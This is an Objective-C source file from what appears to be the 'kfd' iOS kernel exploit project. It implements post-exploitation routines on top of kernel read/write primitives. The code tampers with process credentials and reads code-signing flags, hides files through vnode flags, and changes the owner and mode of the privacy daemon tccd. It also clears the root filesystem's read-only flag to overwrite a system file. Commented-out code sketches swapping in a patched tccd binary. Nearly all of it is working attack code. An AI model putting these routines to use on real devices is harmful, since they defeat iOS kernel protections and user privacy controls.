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fun.m
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//
// fun.c
// kfd
//
// Created by Seo Hyun-gyu on 2023/07/25.
//
//#include "fun.h"
#include "krw.h"
#include "offsets.h"
#include <sys/stat.h>
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <sys/mount.h>
#include <sys/stat.h>
#include <sys/attr.h>
#include <sys/snapshot.h>
#include <sys/mman.h>
#include <mach/mach.h>
uint64_t getProc(uint64_t kfd, pid_t pid) {
uint64_t proc = get_kernproc(kfd);
while (true) {
if(kread32(kfd, proc + off_p_pid) == pid) {
return proc;
}
proc = kread64(kfd, proc + off_p_list_le_prev);
}
return 0;
}
uint64_t getProcByName(uint64_t kfd, char* nm) {
uint64_t proc = get_kernproc(kfd);
while (true) {
uint64_t nameptr = proc + off_p_name;
char name[32];
do_kread(kfd, nameptr, &name, 32);
// printf("[i] pid: %d, process name: %s\n", kread32(kfd, proc + off_p_pid), name);
if(strcmp(name, nm) == 0) {
return proc;
}
proc = kread64(kfd, proc + off_p_list_le_prev);
}
return 0;
}
int getPidByName(uint64_t kfd, char* nm) {
return kread32(kfd, getProcByName(kfd, nm) + off_p_pid);
}
int funProc(uint64_t kfd, uint64_t proc) {
int p_ppid = kread32(kfd, proc + off_p_ppid);
printf("[i] self proc->p_ppid: %d\n", p_ppid);
printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid);
kwrite32(kfd, proc + off_p_ppid, 0x1);
printf("[+] Patched getppid(): %u\n", getppid());
kwrite32(kfd, proc + off_p_ppid, p_ppid);
printf("[+] Restored getppid(): %u\n", getppid());
int p_original_ppid = kread32(kfd, proc + off_p_original_ppid);
printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid);
int p_pgrpid = kread32(kfd, proc + off_p_pgrpid);
printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid);
int p_uid = kread32(kfd, proc + off_p_uid);
printf("[i] self proc->p_uid: %d\n", p_uid);
int p_gid = kread32(kfd, proc + off_p_gid);
printf("[i] self proc->p_gid: %d\n", p_gid);
int p_ruid = kread32(kfd, proc + off_p_ruid);
printf("[i] self proc->p_ruid: %d\n", p_ruid);
int p_rgid = kread32(kfd, proc + off_p_rgid);
printf("[i] self proc->p_rgid: %d\n", p_rgid);
int p_svuid = kread32(kfd, proc + off_p_svuid);
printf("[i] self proc->p_svuid: %d\n", p_svuid);
int p_svgid = kread32(kfd, proc + off_p_svgid);
printf("[i] self proc->p_svgid: %d\n", p_svgid);
int p_sessionid = kread32(kfd, proc + off_p_sessionid);
printf("[i] self proc->p_sessionid: %d\n", p_sessionid);
uint64_t p_puniqueid = kread64(kfd, proc + off_p_puniqueid);
printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid);
printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid);
kwrite64(kfd, proc + off_p_puniqueid, 0x4142434445464748);
printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(kfd, proc + off_p_puniqueid));
kwrite64(kfd, proc + off_p_puniqueid, p_puniqueid);
printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(kfd, proc + off_p_puniqueid));
return 0;
}
int funUcred(uint64_t kfd, uint64_t proc) {
uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro);
uint64_t ucreds = kread64(kfd, proc_ro + off_p_ro_p_ucred);
uint64_t cr_label_pac = kread64(kfd, ucreds + off_u_cr_label);
uint64_t cr_label = cr_label_pac | 0xffffff8000000000;
printf("[i] self ucred->cr_label: 0x%llx\n", cr_label);
//
// printf("[i] self ucred->cr_label+0x8+0x0: 0x%llx\n", kread64(kfd, kread64(kfd, cr_label+0x8)));
// printf("[i] self ucred->cr_label+0x8+0x0+0x0: 0x%llx\n", kread64(kfd, kread64(kfd, kread64(kfd, cr_label+0x8))));
// printf("[i] self ucred->cr_label+0x10: 0x%llx\n", kread64(kfd, cr_label+0x10));
// uint64_t OSEntitlements = kread64(kfd, cr_label+0x10);
// printf("OSEntitlements: 0x%llx\n", OSEntitlements);
// uint64_t CEQueryContext = OSEntitlements + 0x28;
// uint64_t der_start = kread64(kfd, CEQueryContext + 0x20);
// uint64_t der_end = kread64(kfd, CEQueryContext + 0x28);
// for(int i = 0; i < 100; i++) {
// printf("OSEntitlements+0x%x: 0x%llx\n", i*8, kread64(kfd, OSEntitlements + i * 8));
// }
// kwrite64(kfd, kread64(kfd, OSEntitlements), 0);
// kwrite64(kfd, kread64(kfd, OSEntitlements + 8), 0);
// kwrite64(kfd, kread64(kfd, OSEntitlements + 0x10), 0);
// kwrite64(kfd, kread64(kfd, OSEntitlements + 0x20), 0);
uint64_t cr_posix_p = ucreds + off_u_cr_posix;
printf("[i] self ucred->posix_cred->cr_uid: %u\n", kread32(kfd, cr_posix_p + off_cr_uid));
printf("[i] self ucred->posix_cred->cr_ruid: %u\n", kread32(kfd, cr_posix_p + off_cr_ruid));
printf("[i] self ucred->posix_cred->cr_svuid: %u\n", kread32(kfd, cr_posix_p + off_cr_svuid));
printf("[i] self ucred->posix_cred->cr_ngroups: %u\n", kread32(kfd, cr_posix_p + off_cr_ngroups));
printf("[i] self ucred->posix_cred->cr_groups: %u\n", kread32(kfd, cr_posix_p + off_cr_groups));
printf("[i] self ucred->posix_cred->cr_rgid: %u\n", kread32(kfd, cr_posix_p + off_cr_rgid));
printf("[i] self ucred->posix_cred->cr_svgid: %u\n", kread32(kfd, cr_posix_p + off_cr_svgid));
printf("[i] self ucred->posix_cred->cr_gmuid: %u\n", kread32(kfd, cr_posix_p + off_cr_gmuid));
printf("[i] self ucred->posix_cred->cr_flags: %u\n", kread32(kfd, cr_posix_p + off_cr_flags));
return 0;
}
uint64_t getVnodeAtPath(uint64_t kfd, char* filename) {
int file_index = open(filename, O_RDONLY);
if (file_index == -1) return -1;
uint64_t proc = getProc(kfd, getpid());
uint64_t filedesc_pac = kread64(kfd, proc + off_p_pfd);
uint64_t filedesc = filedesc_pac | 0xffffff8000000000;
uint64_t openedfile = kread64(kfd, filedesc + (8 * file_index));
uint64_t fileglob_pac = kread64(kfd, openedfile + off_fp_fglob);
uint64_t fileglob = fileglob_pac | 0xffffff8000000000;
uint64_t vnode_pac = kread64(kfd, fileglob + off_fg_data);
uint64_t vnode = vnode_pac | 0xffffff8000000000;
printf("[i] %s vnode: 0x%llx\n", filename, vnode);
close(file_index);
return vnode;
}
uint64_t funVnodeHide(uint64_t kfd, char* filename) {
uint64_t vnode = getVnodeAtPath(kfd, filename);
if(vnode == -1) {
printf("[-] Unable to get vnode, filename: %s", filename);
return -1;
}
//vnode_ref, vnode_get
uint32_t usecount = kread32(kfd, vnode + off_vnode_v_usecount);
uint32_t iocount = kread32(kfd, vnode + off_vnode_v_iocount);
printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount);
kwrite32(kfd, vnode + off_vnode_v_usecount, usecount + 1);
kwrite32(kfd, vnode + off_vnode_v_iocount, iocount + 1);
#define VISSHADOW 0x008000
//hide file
uint32_t v_flags = kread32(kfd, vnode + off_vnode_v_flag);
printf("[i] vnode->v_flags: 0x%x\n", v_flags);
kwrite32(kfd, vnode + off_vnode_v_flag, (v_flags | VISSHADOW));
//exist test (should not be exist
printf("[i] %s access ret: %d\n", filename, access(filename, F_OK));
//show file
v_flags = kread32(kfd, vnode + off_vnode_v_flag);
kwrite32(kfd, vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));
printf("[i] %s access ret: %d\n", filename, access(filename, F_OK));
//restore vnode iocount, usecount
usecount = kread32(kfd, vnode + off_vnode_v_usecount);
iocount = kread32(kfd, vnode + off_vnode_v_iocount);
if(usecount > 0)
kwrite32(kfd, vnode + off_vnode_v_usecount, usecount - 1);
if(iocount > 0)
kwrite32(kfd, vnode + off_vnode_v_iocount, iocount - 1);
return 0;
}
uint64_t funVnodeChown(uint64_t kfd, char* filename, uid_t uid, gid_t gid) {
uint64_t vnode = getVnodeAtPath(kfd, filename);
if(vnode == -1) {
printf("[-] Unable to get vnode, filename: %s", filename);
return -1;
}
uint64_t v_data = kread64(kfd, vnode + off_vnode_v_data);
uint32_t v_uid = kread32(kfd, v_data + 0x80);
uint32_t v_gid = kread32(kfd, v_data + 0x84);
//vnode->v_data->uid
printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid);
kwrite32(kfd, v_data+0x80, uid);
//vnode->v_data->gid
printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid);
kwrite32(kfd, v_data+0x84, gid);
struct stat file_stat;
if(stat(filename, &file_stat) == 0) {
printf("[i] %s UID: %d\n", filename, file_stat.st_uid);
printf("[i] %s GID: %d\n", filename, file_stat.st_gid);
}
return 0;
}
uint64_t funVnodeChmod(uint64_t kfd, char* filename, mode_t mode) {
uint64_t vnode = getVnodeAtPath(kfd, filename);
if(vnode == -1) {
printf("[-] Unable to get vnode, filename: %s", filename);
return -1;
}
uint64_t v_data = kread64(kfd, vnode + off_vnode_v_data);
uint32_t v_mode = kread32(kfd, v_data + 0x88);
printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode);
kwrite32(kfd, v_data+0x88, mode);
struct stat file_stat;
if(stat(filename, &file_stat) == 0) {
printf("[i] %s mode: %o\n", filename, file_stat.st_mode);
}
return 0;
}
int funCSFlags(uint64_t kfd, char* process) {
uint64_t pid = getPidByName(kfd, process);
uint64_t proc = getProc(kfd, pid);
uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro);
uint32_t csflags = kread32(kfd, proc_ro + off_p_ro_p_csflags);
printf("[i] %s proc->proc_ro->p_csflags: 0x%x\n", process, csflags);
#define TF_PLATFORM 0x400
#define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */
#define CS_INSTALLER 0x0000008 /* has installer entitlement */
#define CS_HARD 0x0000100 /* don't load invalid pages */
#define CS_KILL 0x0000200 /* kill process if it becomes invalid */
#define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */
#define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */
#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
// csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW | CS_DEBUGGED) & ~(CS_RESTRICT | CS_HARD | CS_KILL);
// sleep(3);
// kwrite32(kfd, proc_ro + off_p_ro_p_csflags, csflags);
return 0;
}
int funTask(uint64_t kfd, char* process) {
uint64_t pid = getPidByName(kfd, process);
uint64_t proc = getProc(kfd, pid);
printf("[i] %s proc: 0x%llx\n", process, proc);
uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro);
uint64_t pr_proc = kread64(kfd, proc_ro + off_p_ro_pr_proc);
printf("[i] %s proc->proc_ro->pr_proc: 0x%llx\n", process, pr_proc);
uint64_t pr_task = kread64(kfd, proc_ro + off_p_ro_pr_task);
printf("[i] %s proc->proc_ro->pr_task: 0x%llx\n", process, pr_task);
//proc_is64bit_data+0x18: LDR W8, [X8,#0x3D0]
uint32_t t_flags = kread32(kfd, pr_task + off_task_t_flags);
printf("[i] %s task->t_flags: 0x%x\n", process, t_flags);
/*
* RO-protected flags:
*/
#define TFRO_PLATFORM 0x00000400 /* task is a platform binary */
#define TFRO_FILTER_MSG 0x00004000 /* task calls into message filter callback before sending a message */
#define TFRO_PAC_EXC_FATAL 0x00010000 /* task is marked a corpse if a PAC exception occurs */
#define TFRO_PAC_ENFORCE_USER_STATE 0x01000000 /* Enforce user and kernel signed thread state */
uint32_t t_flags_ro = kread64(kfd, proc_ro + off_p_ro_t_flags_ro);
printf("[i] %s proc->proc_ro->t_flags_ro: 0x%x\n", process, t_flags_ro);
return 0;
}
uint64_t findRootVnode(uint64_t kfd) {
uint64_t launchd_proc = getProc(kfd, 1);
uint64_t textvp_pac = kread64(kfd, launchd_proc + off_p_textvp);
uint64_t textvp = textvp_pac | 0xffffff8000000000;
printf("[i] launchd proc->textvp: 0x%llx\n", textvp);
uint64_t textvp_nameptr = kread64(kfd, textvp + off_vnode_v_name);
uint64_t textvp_name = kread64(kfd, textvp_nameptr);
uint64_t devvp = kread64(kfd, (kread64(kfd, textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp);
uint64_t nameptr = kread64(kfd, devvp + off_vnode_v_name);
uint64_t name = kread64(kfd, nameptr);
char* devName = &name;
printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName);
uint64_t sbin_vnode = kread64(kfd, textvp + off_vnode_v_parent) | 0xffffff8000000000;
textvp_nameptr = kread64(kfd, sbin_vnode + off_vnode_v_name);
textvp_name = kread64(kfd, textvp_nameptr);
devvp = kread64(kfd, (kread64(kfd, textvp + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp);
nameptr = kread64(kfd, devvp + off_vnode_v_name);
name = kread64(kfd, nameptr);
devName = &name;
printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName);
uint64_t root_vnode = kread64(kfd, sbin_vnode + off_vnode_v_parent) | 0xffffff8000000000;
textvp_nameptr = kread64(kfd, root_vnode + off_vnode_v_name);
textvp_name = kread64(kfd, textvp_nameptr);
devvp = kread64(kfd, (kread64(kfd, root_vnode + off_vnode_v_mount) | 0xffffff8000000000) + off_mount_mnt_devvp);
nameptr = kread64(kfd, devvp + off_vnode_v_name);
name = kread64(kfd, nameptr);
devName = &name;
printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName);
printf("[+] rootvnode: 0x%llx\n", root_vnode);
return root_vnode;
}
uint64_t funVnodeRedirectFolder(uint64_t kfd, char* to, char* from) {
uint64_t to_vnode = getVnodeAtPath(kfd, to);
if(to_vnode == -1) {
printf("[-] Unable to get vnode, filename: %s", to);
return -1;
}
uint8_t to_v_references = kread8(kfd, to_vnode + off_vnode_v_references);
uint32_t to_usecount = kread32(kfd, to_vnode + off_vnode_v_usecount);
uint32_t to_v_kusecount = kread32(kfd, to_vnode + off_vnode_v_kusecount);
uint64_t from_vnode = getVnodeAtPath(kfd, from);
if(from_vnode == -1) {
printf("[-] Unable to get vnode, filename: %s", from);
return -1;
}
uint64_t from_v_data = kread64(kfd, from_vnode+ off_vnode_v_data);
kwrite32(kfd, to_vnode + off_vnode_v_usecount, to_usecount + 1);
kwrite32(kfd, to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1);
kwrite8(kfd, to_vnode + off_vnode_v_references, to_v_references + 1);
kwrite64(kfd, to_vnode + off_vnode_v_data, from_v_data);
return 0;
}
uint64_t funVnodeOverwriteFile(uint64_t kfd, char* to) {
int file_index = open(to, O_RDONLY);
if (file_index == -1) return -1;
uint64_t proc = getProc(kfd, getpid());
//get vnode
uint64_t filedesc_pac = kread64(kfd, proc + off_p_pfd);
uint64_t filedesc = filedesc_pac | 0xffffff8000000000;
uint64_t openedfile = kread64(kfd, filedesc + (8 * file_index));
uint64_t fileglob_pac = kread64(kfd, openedfile + off_fp_fglob);
uint64_t fileglob = fileglob_pac | 0xffffff8000000000;
uint64_t vnode_pac = kread64(kfd, fileglob + off_fg_data);
uint64_t to_vnode = vnode_pac | 0xffffff8000000000;
printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode);
uint64_t to_v_mount_pac = kread64(kfd, findRootVnode(kfd) + off_vnode_v_mount);
uint64_t to_v_mount = to_v_mount_pac | 0xffffff8000000000;
uint32_t to_m_flag = kread32(kfd, to_v_mount + off_mount_mnt_flag);
#define MNT_RDONLY 0x00000001 /* read only filesystem */
kwrite32(kfd, to_v_mount + off_mount_mnt_flag, to_m_flag & ~MNT_RDONLY);
kwrite32(kfd, fileglob + off_fg_flag, O_ACCMODE);
printf("[i] %s to_vnode->v_writecount: %d\n", to, kread32(kfd, to_vnode + off_vnode_v_writecount));
kwrite32(kfd, to_vnode + off_vnode_v_writecount, kread32(kfd, to_vnode + off_vnode_v_writecount)+1);
const char* data = "AAAAAAAAAAAAAAAAAAAAAAA";
size_t data_len = strlen(data);
off_t file_size = lseek(file_index, 0, SEEK_END);
if (file_size == -1) {
perror("Failed lseek.");
// close(file);
// return;
}
char* mapped = mmap(NULL, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, file_index, 0);
if (mapped == MAP_FAILED) {
perror("Failed mmap.");
// close(file);
// return;
}
memcpy(mapped, data, data_len);
munmap(mapped, file_size);
kwrite32(kfd, to_v_mount + off_mount_mnt_flag, to_m_flag);
close(file_index);
return 0;
}
uint64_t fun_ipc_entry_lookup(uint64_t kfd, mach_port_name_t port_name) {
uint64_t proc = getProc(kfd, getpid());
uint64_t proc_ro = kread64(kfd, proc + off_p_proc_ro);
uint64_t pr_proc = kread64(kfd, proc_ro + off_p_ro_pr_proc);
printf("[i] self proc->proc_ro->pr_proc: 0x%llx\n", pr_proc);
uint64_t pr_task = kread64(kfd, proc_ro + off_p_ro_pr_task);
printf("[i] self proc->proc_ro->pr_task: 0x%llx\n", pr_task);
uint64_t itk_space_pac = kread64(kfd, pr_task + 0x300);
uint64_t itk_space = itk_space_pac | 0xffffff8000000000;
printf("[i] self task->itk_space: 0x%llx\n", itk_space);
//NEED TO FIGURE OUT SMR POINTER!!!
// uint32_t table_size = kread32(kfd, itk_space + 0x14);
// printf("[i] self task->itk_space table_size: 0x%x\n", table_size);
// uint32_t port_index = MACH_PORT_INDEX(port_name);
// if (port_index >= table_size) {
// printf("[!] invalid port name: 0x%x", port_name);
// return -1;
// }
//
// uint64_t is_table_pac = kread64(kfd, itk_space + 0x20);
// uint64_t is_table = is_table_pac | 0xffffff8000000000;
// printf("[i] self task->itk_space->is_table: 0x%llx\n", is_table);
// printf("[i] self task->itk_space->is_table read: 0x%llx\n", kread64(kfd, is_table));
//
// const int sizeof_ipc_entry_t = 0x18;
// uint64_t ipc_entry = is_table + sizeof_ipc_entry_t * port_index;
// printf("[i] self task->itk_space->is_table->ipc_entry: 0x%llx\n", ipc_entry);
//
// uint64_t ie_object = kread64(kfd, ipc_entry + 0x0);
// printf("[i] self task->itk_space->is_table->ipc_entry->ie_object: 0x%llx\n", ie_object);
//
// sleep(1);
return 0;
}
int do_fun(uint64_t kfd) {
_offsets_init();
uint64_t kslide = get_kslide(kfd);
uint64_t kbase = 0xfffffff007004000 + kslide;
printf("[i] Kernel base: 0x%llx\n", kbase);
printf("[i] Kernel slide: 0x%llx\n", kslide);
uint64_t kheader64 = kread64(kfd, kbase);
printf("[i] Kernel base kread64 ret: 0x%llx\n", kheader64);
pid_t myPid = getpid();
uint64_t selfProc = getProc(kfd, myPid);
printf("[i] self proc: 0x%llx\n", selfProc);
funUcred(kfd, selfProc);
funProc(kfd, selfProc);
funVnodeHide(kfd, "/System/Library/Audio/UISounds/photoShutter.caf");
funCSFlags(kfd, "launchd");
funTask(kfd, "kfd");
//Patch
funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501);
//Restore
funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0, 0);
//Patch
funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0107777);
//Restore
funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755);
mach_port_t host_self = mach_host_self();
printf("[i] mach_host_self: 0x%x\n", host_self);
fun_ipc_entry_lookup(kfd, host_self);
funVnodeOverwriteFile(kfd, "/System/Library/Audio/UISounds/photoShutter.caf");
// Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> /var
// NSString *mntPath = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/mounted"];
// [[NSFileManager defaultManager] removeItemAtPath:mntPath error:nil];
// [[NSFileManager defaultManager] createDirectoryAtPath:mntPath withIntermediateDirectories:NO attributes:nil error:nil];
// funVnodeRedirectFolder(kfd, mntPath.UTF8String, "/private");
// NSArray* dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mntPath error:NULL];
// NSLog(@"/var directory: %@", dirs);
//TODO: Redirect /System/Library/PrivateFrameworks/TCC.framework/Support/ -> NSHomeDirectory(), @"/Documents/mounted"
//Redirect Folders: NSHomeDirectory() + @"/Documents/mounted" -> /var/mobile
// funVnodeResearch(kfd, mntPath.UTF8String, mntPath.UTF8String);
// dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mntPath error:NULL];
// NSLog(@"[i] /var/mobile dirs: %@", dirs);
// funVnodeOverwriteFile(kfd, mntPath.UTF8String, "/var/mobile/Library/Caches/com.apple.keyboards");
// [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/AAAA.bin"] toPath:[NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/mounted/images/BBBB.bin"] error:nil];
// symlink("/System/Library/PrivateFrameworks/TCC.framework/Support/", [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/Support"].UTF8String);
// mount("/System/Library/PrivateFrameworks/TCC.framework/Support/", mntPath, NULL, MS_BIND | MS_REC, NULL);
// printf("mount ret: %d\n", mount("apfs", mntpath, 0, &mntargs))
// funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/", 501, 501);
// funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/", 0107777);
// funVnodeOverwriteFile(kfd, mntPath.UTF8String, "/");
// for(NSString *dir in dirs) {
// NSString *mydir = [mntPath stringByAppendingString:@"/"];
// mydir = [mydir stringByAppendingString:dir];
// int fd_open = open(mydir.UTF8String, O_RDONLY);
// printf("open %s, ret: %d\n", mydir.UTF8String, fd_open);
// if(fd_open != -1) {
// NSArray* dirs2 = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:mydir error:NULL];
// NSLog(@"/var/%@ directory: %@", dir, dirs2);
// }
// close(fd_open);
// }
// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library"].UTF8String, O_RDONLY));
// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/containers"].UTF8String, O_RDONLY));
// printf("open ret: %d\n", open([mntPath stringByAppendingString:@"/mobile/Library/Preferences"].UTF8String, O_RDONLY));
// printf("open ret: %d\n", open("/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches", O_RDONLY));
// dirs = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:[mntPath stringByAppendingString:@"/mobile"] error:NULL];
// NSLog(@"/var/mobile directory: %@", dirs);
// [@"Hello, this is an example file!" writeToFile:[mntPath stringByAppendingString:@"/Hello.txt"] atomically:YES encoding:NSUTF8StringEncoding error:nil];
// funVnodeOverwriteFile(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", AAAApath.UTF8String);
// funVnodeChown(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 501, 501);
// funVnodeOverwriteFile(kfd, AAAApath.UTF8String, BBBBpath.UTF8String);
// funVnodeOverwriteFile(kfd, "/System/Library/AppPlaceholders/Stocks.app/[email protected]", "/System/Library/AppPlaceholders/Tips.app/[email protected]");
// xpc_crasher("com.apple.tccd");
// xpc_crasher("com.apple.tccd");
// sleep(10);
// funUcred(kfd, getProc(kfd, getPidByName(kfd, "tccd")));
// funProc(kfd, getProc(kfd, getPidByName(kfd, "tccd")));
// funVnodeChmod(kfd, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", 0100755);
// funVnodeOverwrite(kfd, AAAApath.UTF8String, AAAApath.UTF8String);
// funVnodeOverwrite(kfd, selfProc, "/System/Library/AppPlaceholders/Stocks.app/[email protected]", copyToAppDocs.UTF8String);
//Overwrite tccd:
// NSString *copyToAppDocs = [NSString stringWithFormat:@"%@%@", NSHomeDirectory(), @"/Documents/tccd_patched.bin"];
// remove(copyToAppDocs.UTF8String);
// [[NSFileManager defaultManager] copyItemAtPath:[NSString stringWithFormat:@"%@%@", NSBundle.mainBundle.bundlePath, @"/tccd_patched.bin"] toPath:copyToAppDocs error:nil];
// chmod(copyToAppDocs.UTF8String, 0755);
// funVnodeOverwrite(kfd, selfProc, "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd", [copyToAppDocs UTF8String]);
// xpc_crasher("com.apple.tccd");
// xpc_crasher("com.apple.tccd");
return 0;
}